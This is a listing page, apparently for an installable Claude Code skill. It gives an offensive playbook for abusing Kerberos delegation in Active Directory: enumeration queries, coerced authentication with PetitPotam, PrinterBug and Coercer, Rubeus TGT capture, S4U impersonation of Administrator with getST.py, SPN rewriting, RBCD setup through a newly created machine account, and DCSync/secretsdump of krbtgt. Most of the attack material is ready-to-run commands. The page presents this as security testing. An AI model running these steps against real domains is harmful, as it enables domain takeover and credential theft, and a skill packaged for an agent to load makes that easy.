mcpField
A
ad-delegation-attack

ad-delegation-attack

github.com/wgpsecセキュリティ1.8k44 回インストール4 日前に更新
リポジトリ

ad-delegation-attack について

Active Directory のセキュリティテスト向けに、Kerberos 委任の列挙と悪用手順をまとめたスキルです。非制約、制約付き、リソースベースの制約付き委任を扱い、ツールのコマンドやトラブルシューティングも示します。

主な機能

  1. 01ドメインの委任設定を列挙
  2. 02非制約委任の悪用方法を説明
  3. 03制約付き委任と S4U を解説
  4. 04RBCD の設定と利用
  5. 05問題解決とクリーンアップ手順

活用シーン

  1. 01ドメインの委任設定を棚卸し
  2. 02委任による権限昇格経路を評価
  3. 03RBCD の設定と攻撃手順を検証

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/wgpsec/aboutsecurity --skill ad-delegation-attack

インストール後、Claude Code で/ad-delegation-attackを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

references/
constrained-delegation.md
rbcd-attack.md
unconstrained-delegation.md

詳細

Kerberos 委譲攻撃

トリガー条件

以下のシナリオでこのスキルを使用します。

  • BloodHound で、ドメイン内に非制約型/制約型の委譲設定があることが判明した
  • SPN が設定されたサービスアカウントまたはマシンアカウントを制御した
  • 対象のコンピューターオブジェクトに GenericWrite/GenericAll/WriteDacl 権限がある
  • 委譲を利用して権限昇格または横方向への移動を行う必要がある

前提条件

  • 有効なドメイン資格情報(平文/ハッシュ/チケット)
  • 委譲設定を列挙済み(またはこれから列挙する)
  • ツール:findDelegation.py、getST.py、rbcd.py、addcomputer.py、Rubeus

委譲タイプ早見表

タイプ主なフラグ/属性攻撃方法
非制約型委譲TRUSTED_FOR_DELEGATION (UAC 524288)アクセスしたユーザーの TGT を捕捉
制約型委譲(プロトコル遷移あり)msDS-AllowedToDelegateTo + TRUSTED_TO_AUTH_FOR_DELEGATIONS4U2Self + S4U2Proxy
制約型委譲(プロトコル遷移なし)msDS-AllowedToDelegateTo先にユーザーの認証が必要、または RBCD と組み合わせる
RBCDmsDS-AllowedToActOnBehalfOfOtherIdentity設定後に S4U 攻撃

判断ツリー

[开始] 需要利用 Kerberos 委派
    │
    ├─ 已知委派配置?
    │   ├─ 否 → Phase 1: 委派枚举
    │   └─ 是 → 判断类型
    │
    ├─ 非约束委派 (Unconstrained)
    │   ├─ 已控制该机器?
    │   │   ├─ 是 → Phase 2: 监听 TGT + 强制认证
    │   │   └─ 否 → 需先取得机器控制权
    │   └─ 捕获 DC TGT → DCSync / 横向移动
    │
    ├─ 约束委派 (Constrained)
    │   ├─ 有协议转换 (TrustedToAuthForDelegation)?
    │   │   ├─ 是 → Phase 3: S4U2Self + S4U2Proxy 直接利用
    │   │   └─ 否 → 需用户票据或结合 RBCD
    │   ├─ 目标服务非 cifs/ldap → altservice 技巧改写 SPN
    │   └─ 获取 ST → 访问目标服务
    │
    ├─ RBCD
    │   ├─ 对目标有写权限?
    │   │   ├─ 是 → Phase 4: RBCD 攻击
    │   │   └─ 否 → 寻找 ACL 路径
    │   ├─ MAQ > 0 或已有机器账号 → 创建/使用机器账号
    │   └─ 配置 → S4U → 访问 → 清理
    │
    └─ 无委派可利用 → 检查 ACL,考虑其他路径

Phase 1:委譲の列挙

目標:ドメイン内のすべての委譲設定を検出する

# findDelegation.py (推荐,一次发现所有类型)
findDelegation.py <DOMAIN>/<USER>:<PASSWORD> -dc-ip <DC_IP>

出力例:

AccountName   AccountType  DelegationType                      DelegationRightsTo
------------  -----------  ----------------------------------  --------------------------
DC01$         Computer     Unconstrained                       N/A
SVC_SQL       User         Constrained w/ Protocol Transition  MSSQLSvc/db01.domain.local
WEB01$        Computer     Constrained                         http/app01.domain.local
LDAP フィルター
# 非约束委派 (排除 DC)
(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288)(!(primaryGroupID=516)))

# 约束委派
(&(objectCategory=*)(msDS-AllowedToDelegateTo=*))

# RBCD
(&(objectCategory=computer)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))
PowerView
# 非约束委派 (排除 DC)
Get-DomainComputer -Unconstrained | Where-Object {$_.name -notlike "*DC*"}

# 约束委派
Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | Select-Object name, msds-allowedtodelegateto
BloodHound Cypher
MATCH (c:Computer {unconstraineddelegation:true}) WHERE NOT c.name STARTS WITH 'DC' RETURN c.name
MATCH (u)-[:AllowedToDelegate]->(c:Computer) RETURN u.name, c.name
MATCH p=(u)-[:GenericWrite|GenericAll|WriteDacl]->(c:Computer) RETURN p

Phase 2:非制約型委譲の悪用

前提条件:DC ではない TRUSTED_FOR_DELEGATION マシンをすでに制御している

原理:ユーザーがアクセスすると、KDC は ST に TGT を埋め込み、サーバーはそれを LSASS にキャッシュします。抽出すれば、そのユーザーになりすませます。

→ references/unconstrained-delegation.md

2.1 TGT を待ち受ける
Rubeus.exe monitor /interval:10 /nowrap
Rubeus.exe monitor /interval:5 /nowrap /filteruser:DC01$
2.2 強制認証をトリガーする
# Coercer (集成多种方法)
coercer coerce -u <USER> -p <PASSWORD> -d <DOMAIN> -l <UNCONSTRAINED_MACHINE> -t <DC_IP>

# PetitPotam (MS-EFSRPC)
PetitPotam.py <UNCONSTRAINED_MACHINE> <DC_IP>

# PrinterBug (MS-RPRN)
SpoolSample.exe <DC_HOSTNAME> <UNCONSTRAINED_MACHINE>
2.3 捕捉した TGT を使用する
# 导入票据并 DCSync
Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:<DOMAIN> /username:<USER> /password:FakePass /ticket:<BASE64_TGT>
steal_token <PID>
dcsync <DOMAIN> <DOMAIN>\krbtgt
# Linux
export KRB5CCNAME=dc01.ccache
secretsdump.py -k -no-pass '<DOMAIN>/DC01$@dc01.<DOMAIN>'

Phase 3:制約型委譲の悪用

前提条件:制約型委譲が設定されたサービスアカウント/マシンアカウントの資格情報を制御している

→ references/constrained-delegation.md

3A:プロトコル遷移あり — S4U2Self + S4U2Proxy
# getST.py
getST.py -spn cifs/<TARGET_FQDN> -impersonate Administrator \
  <DOMAIN>/<SERVICE_ACCOUNT>:<PASSWORD>

# 使用 Hash
getST.py -spn cifs/<TARGET_FQDN> -impersonate Administrator \
  -hashes :<NT_HASH> <DOMAIN>/<SERVICE_ACCOUNT>

# 使用票据
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass <TARGET_FQDN>
# Rubeus
Rubeus.exe s4u /user:<SERVICE_ACCOUNT> /rc4:<NT_HASH> /impersonateuser:Administrator /msdsspn:cifs/<TARGET_FQDN> /ptt
altservice テクニック

ST 内の sname は署名による保護がないため、同じホスト上の別のサービスに書き換えられます。

# 原目标 time/dc01 → 改为 ldap 用于 DCSync
getST.py -spn time/<DC_FQDN> -impersonate Administrator \
  -altservice cifs/<DC_FQDN> <DOMAIN>/<SERVICE_ACCOUNT>:<PASSWORD>
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:time/<DC_FQDN> /altservice:ldap /user:<SERVICE_ACCOUNT> /ticket:<BASE64_TGT> /nowrap
3B:プロトコル遷移なし

S4U2Self チケットは転送できないため、追加の手段が必要です。

# 方法 1: 结合 RBCD (在服务账号自身配置)
rbcd.py -delegate-from '<SERVICE_ACCOUNT>' -delegate-to '<SERVICE_ACCOUNT>$' \
  -action write <DOMAIN>/<USER>:<PASSWORD>
getST.py -spn cifs/<TARGET_FQDN> -impersonate Administrator \
  <DOMAIN>/<SERVICE_ACCOUNT>:<PASSWORD>
# 方法 2: 捕获用户可转发票据后 S4U2Proxy
Rubeus.exe monitor /interval:5 /filteruser:Administrator
Rubeus.exe s4u /ticket:<CAPTURED_TGT> /msdsspn:cifs/<TARGET_FQDN> /ptt

Phase 4:リソースベースの制約付き委譲(RBCD)

前提条件:対象に対する GenericWrite/GenericAll/WriteDacl 権限があり、マシンアカウントを作成できるか、すでに所有している

→ references/rbcd-attack.md

4.1 前提条件の確認
# 检查 MAQ
crackmapexec ldap <DC_IP> -u <USER> -p <PASSWORD> -M maq
# 检查 ACL
Get-DomainObjectAcl -Identity "<TARGET>" -ResolveGUIDs | Where-Object {
    $_.ActiveDirectoryRights -match "GenericWrite|GenericAll|WriteDacl"
}
4.2 マシンアカウントを作成する
addcomputer.py -computer-name 'YOURPC$' -computer-pass 'P@ssw0rd123' \
  -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD>
4.3 RBCD を設定する
rbcd.py -delegate-from 'YOURPC$' -delegate-to '<TARGET>$' -action write \
  -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD>
4.4 S4U 攻撃
getST.py -spn cifs/<TARGET_FQDN> -impersonate Administrator \
  -dc-ip <DC_IP> <DOMAIN>/'YOURPC$':'P@ssw0rd123'

export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass <TARGET_FQDN>
Rubeus.exe hash /password:P@ssw0rd123 /user:YOURPC$ /domain:<DOMAIN>
Rubeus.exe s4u /user:YOURPC$ /rc4:<COMPUTED_HASH> /impersonateuser:Administrator /msdsspn:cifs/<TARGET_FQDN> /ptt
4.5 クリーンアップ
rbcd.py -delegate-to '<TARGET>$' -action flush -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD>
addcomputer.py -computer-name 'YOURPC$' -delete -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD>
Get-DomainComputer -Identity <TARGET> | Set-DomainObject -Clear msDS-AllowedToActOnBehalfOfOtherIdentity

よくある問題のトラブルシューティング

S4U の失敗:KDC_ERR_BADOPTION
  1. なりすまそうとしているユーザーが Protected Users グループに所属している — 別のユーザーに変更する
  2. ユーザーに「Account is sensitive and cannot be delegated」のフラグが設定されている — 別のユーザーに変更する
  3. サービスアカウントに SPN がない — 登録済みであることを確認する
  4. プロトコル遷移なしのチケットは転送できない — RBCD と組み合わせる
マシンアカウントを作成できない
  1. ms-DS-MachineAccountQuota を確認する(デフォルトは 10)
  2. クォータを使い切っている → 制御済みのマシンアカウントを使用する
  3. ドメイン内に既存の SPN を持つユーザーアカウントを探す
RBCD の設定に成功したが S4U が失敗する
  1. マシンアカウントに SPN があることを確認する(HOST/YOURPC は自動登録されます)
  2. rbcd.py -action read で属性が書き込まれたことを確認する
  3. DNS の名前解決が正しいことを確認する — SPN は DNS と一致している必要があります

ツールのリファレンス

ツール用途プラットフォーム
findDelegation.pyすべての委譲設定を列挙Linux
getST.pyS4U 攻撃でサービスチケットを取得Linux
rbcd.pyRBCD の設定/読み取り/消去Linux
addcomputer.pyマシンアカウントの作成/削除Linux
RubeusKerberos チケットの操作Windows
Coercer強制認証(複数の方法を統合)Linux
PetitPotamMS-EFSRPC による強制認証クロスプラットフォーム

詳細なリファレンス

コメント